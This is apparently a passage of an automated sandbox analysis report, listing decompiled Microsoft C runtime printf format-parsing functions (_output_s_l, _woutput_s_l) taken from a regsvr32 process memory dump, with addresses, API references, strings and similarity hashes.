				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3bdd5;
				_a88 = _t171 + _t191 - 0x30;
				_a116 = 0;
				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t192 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t192);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t171 + _t192 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bd02
0x7fef9d3bd11
0x7fef9d3bd1b
0x7fef9d3bd25
0x7fef9d3bd2f
0x7fef9d3bd39
0x7fef9d3bd3b
0x7fef9d3bd44
0x7fef9d3bd48
0x7fef9d3bd51
0x7fef9d3bd55
0x7fef9d3bd5e
0x7fef9d3bd62
0x7fef9d3bd68
0x7fef9d3bd70
0x7fef9d3bd79
0x7fef9d3bd8d
0x7fef9d3bd8f
0x7fef9d3bd9c
0x7fef9d3bda5
0x7fef9d3bdae
0x7fef9d3bdb8
0x7fef9d3bdbc
0x7fef9d3bdd1
0x7fef9d3bdda
0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB
0, xrefs: 000007FEF9D3BD31

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$0$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 530996419-4087627031
Opcode ID: 287329bbe28ac3486ddbb9e235f19a10cbf988fa35318df4d11335d2ff3f0aeb
Instruction ID: f671f2f81670ff54d1d55a26610e2e3881df7bf560f190d6bc7d2e9ce8938301
Opcode Fuzzy Hash: 287329bbe28ac3486ddbb9e235f19a10cbf988fa35318df4d11335d2ff3f0aeb
Instruction Fuzzy Hash: 8B517E72A0D6C28AF3F18B64E855BBEB7E4F384345F600126D2C9869A9DB7DE540CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DCA8 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E000007FE7FEF9D3DCA8(signed int _a80, signed int _a88, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1404, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t171;
				char* _t191;
				char* _t192;

				_a1404 = _a1208 & 0x0000ffff;
				if (_a1404 == 0x20) goto 0xf9d3dd05;
				if (_a1404 == 0x23) goto 0xf9d3dd12;
				if (_a1404 == 0x2b) goto 0xf9d3dcf8;
				if (_a1404 == 0x2d) goto 0xf9d3dceb;
				if (_a1404 == 0x30) goto 0xf9d3dd20;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3dd2b;
				asm("bts eax, 0x7");
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000008;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3dd6c;
				_t191 =  &_a1560;
				_a88 = E000007FE7FEF9D31E40(_t191);
				if (_a88 >= 0) goto 0xf9d3dd6a;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3dd83;
				_a88 = _t171 + _t191 - 0x30;
				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t192 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t192);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t171 + _t192 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dcb0
0x7fef9d3dcbf
0x7fef9d3dcc9
0x7fef9d3dcd3
0x7fef9d3dcdd
0x7fef9d3dce7
0x7fef9d3dce9
0x7fef9d3dcf2
0x7fef9d3dcf6
0x7fef9d3dcff
0x7fef9d3dd03
0x7fef9d3dd0c
0x7fef9d3dd10
0x7fef9d3dd16
0x7fef9d3dd1e
0x7fef9d3dd27
0x7fef9d3dd3b
0x7fef9d3dd3d
0x7fef9d3dd4a
0x7fef9d3dd53
0x7fef9d3dd5c
0x7fef9d3dd66
0x7fef9d3dd6a
0x7fef9d3dd7f
0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
0, xrefs: 000007FEF9D3DCDF
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$0$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 530996419-1247675978
Opcode ID: dafc102d997b2a6b976dbf7f56485c8afddec954203f225463beab32e96cec62
Instruction ID: decea58dbdbd6501be5c610137b77bb3c0dc28cbce38a3a9de9bceb14a18b164
Opcode Fuzzy Hash: dafc102d997b2a6b976dbf7f56485c8afddec954203f225463beab32e96cec62
Instruction Fuzzy Hash: 1F510CB2A0C6C68AE7B09B64F8407BEB7E0F385346F600125D6C9869A8D77DE444DF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BD82 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E000007FE7FEF9D3BD82(signed int _a80, signed int _a88, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t139;
				char* _t159;
				char* _t160;

				if (_a696 != 0x2a) goto 0xf9d3bdbe;
				_t159 =  &_a1112;
				_a88 = E000007FE7FEF9D31E40(_t159);
				if (_a88 >= 0) goto 0xf9d3bdbc;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3bdd5;
				_a88 = _t139 + _t159 - 0x30;
				_a116 = 0;
				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t160 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t160);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t139 + _t160 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bd8d
0x7fef9d3bd8f
0x7fef9d3bd9c
0x7fef9d3bda5
0x7fef9d3bdae
0x7fef9d3bdb8
0x7fef9d3bdbc
0x7fef9d3bdd1
0x7fef9d3bdda
0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
get_int_arg.LIBCMTD ref: 000007FEF9D3BD97

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameterget_int_arg
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2576288505-192189897
Opcode ID: b576c27c8c875c1ce4182572011a22670079dadd40bff06c5e4b49d8cc0733f6
Instruction ID: 7af9cebcf9cdbe51cb5c05a1613d0acac690945035c75598d7829d850d960732
Opcode Fuzzy Hash: b576c27c8c875c1ce4182572011a22670079dadd40bff06c5e4b49d8cc0733f6
Instruction Fuzzy Hash: 40515E72A0D6C68AE7F0DB24E8947BEBBE4E384355F600126D2CD869A9DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DD30 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E000007FE7FEF9D3DD30(signed int _a80, signed int _a88, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t139;
				char* _t159;
				char* _t160;

				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3dd6c;
				_t159 =  &_a1560;
				_a88 = E000007FE7FEF9D31E40(_t159);
				if (_a88 >= 0) goto 0xf9d3dd6a;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3dd83;
				_a88 = _t139 + _t159 - 0x30;
				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t160 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t160);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t139 + _t160 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dd3b
0x7fef9d3dd3d
0x7fef9d3dd4a
0x7fef9d3dd53
0x7fef9d3dd5c
0x7fef9d3dd66
0x7fef9d3dd6a
0x7fef9d3dd7f
0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
get_int_arg.LIBCMTD ref: 000007FEF9D3DD45

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameterget_int_arg
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2576288505-734865713
Opcode ID: 73e6b479e683be5ecb6b5fbd55da46f8fdb801a5518f0397c70b55b6842a44e9
Instruction ID: f5bf503dfe25a3916c99f1d9d67644448d63221e22ccd8ab12d6653ca93a9968
Opcode Fuzzy Hash: 73e6b479e683be5ecb6b5fbd55da46f8fdb801a5518f0397c70b55b6842a44e9
Instruction Fuzzy Hash: 0E510DB2A0C6C28AE7F09B64E8407BEB7E4F394345F600126E6C9879A9DB7DD445CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BDE7 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E000007FE7FEF9D3BDE7(signed int _a80, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t113;
				char* _t133;

				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t133 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t133);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t113 + _t133 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
get_int_arg.LIBCMTD ref: 000007FEF9D3BDFC

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
